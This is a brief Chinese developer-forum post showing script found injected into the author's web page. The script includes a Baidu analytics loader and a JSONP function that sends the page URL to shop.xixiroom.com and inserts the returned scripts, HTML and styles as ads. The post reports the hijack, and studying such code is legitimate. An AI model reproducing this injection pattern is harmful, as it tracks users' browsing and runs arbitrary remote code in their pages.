用HTML查看,被附加了这两个js文件:
src="//hm.baidu.com/hm.js?40f4f46e503a18f9aa5ddaedd2ef5979">
还有:
var _hmt = _hmt || [];(function() {var hm = document.createElement("script");hm.src = "//hm.baidu.com/hm.js?40f4f46e503a18f9aa5ddaedd2ef5979";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s);})();
脚本调试的代码:
jsonp({
url: "http://shop.xixiroom.com/chrome/index", type: "GET", data: {
"type":'main',"url":document.URL,"gll":1
}
, dataType: "jsonp", callback:'callback',success: function (response) {
var my_div = document.createElement("div");
my_div.id = "ad_ccc";
var body = document.getElementsByTagName("body")[0];
body.appendChild(my_div);
var bai=document.createElement('script');
bai.text=response.baidu;
document.getElementById("ad_ccc").appendChild(bai);
var htmlll=document.createElement('div');
htmlll.innerHTML=response.htmlcode;
document.getElementById("ad_ccc").appendChild(htmlll);
var divx=document.createElement('script');
divx.text=response.advert;
document.getElementById("ad_ccc").appendChild(divx);
var htmlll2=document.createElement('div');
htmlll2.innerHTML=response.htmlcode2;
document.getElementById("ad_ccc").appendChild(htmlll2);
var divvv=document.createElement('style');
divvv.innerHTML=response.style;
document.getElementById("ad_ccc").appendChild(divvv);
var htmlll3=document.createElement('div');
htmlll3.innerHTML=response.htmlcode3;
document.getElementById("ad_ccc").appendChild(htmlll3);
}
,fail: function (status) { }
});
function jsonp(options) {
options = options || {};
if (!options.url || !options.callback) {
throw new Error("参数不合法");
}
var callbackName = ('jsonp_' + Math.random()).replace(".", "");
var oHead = document.getElementsByTagName('head')[0];
options.data[options.callback] = callbackName;
var params = formatParams(options.data);
var oS = document.createElement('script');
oHead.appendChild(oS);
window[callbackName] = function (json) {
oHead.removeChild(oS);
clearTimeout(oS.timer);
window[callbackName] = null;
options.success && options.success(json);
};
oS.src = options.url + '?' + params;
if (options.time) {
oS.timer = setTimeout(function () {
window[callbackName] = null;
oHead.removeChild(oS);
options.fail && options.fail({
message: "超时"
});
}
, time);
}
};
function formatParams(data) {
var arr = [];
for (var i in data) {
arr.push(encodeURIComponent(i) + '=' + encodeURIComponent(data[i]));
}
return arr.join('&');
}
版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。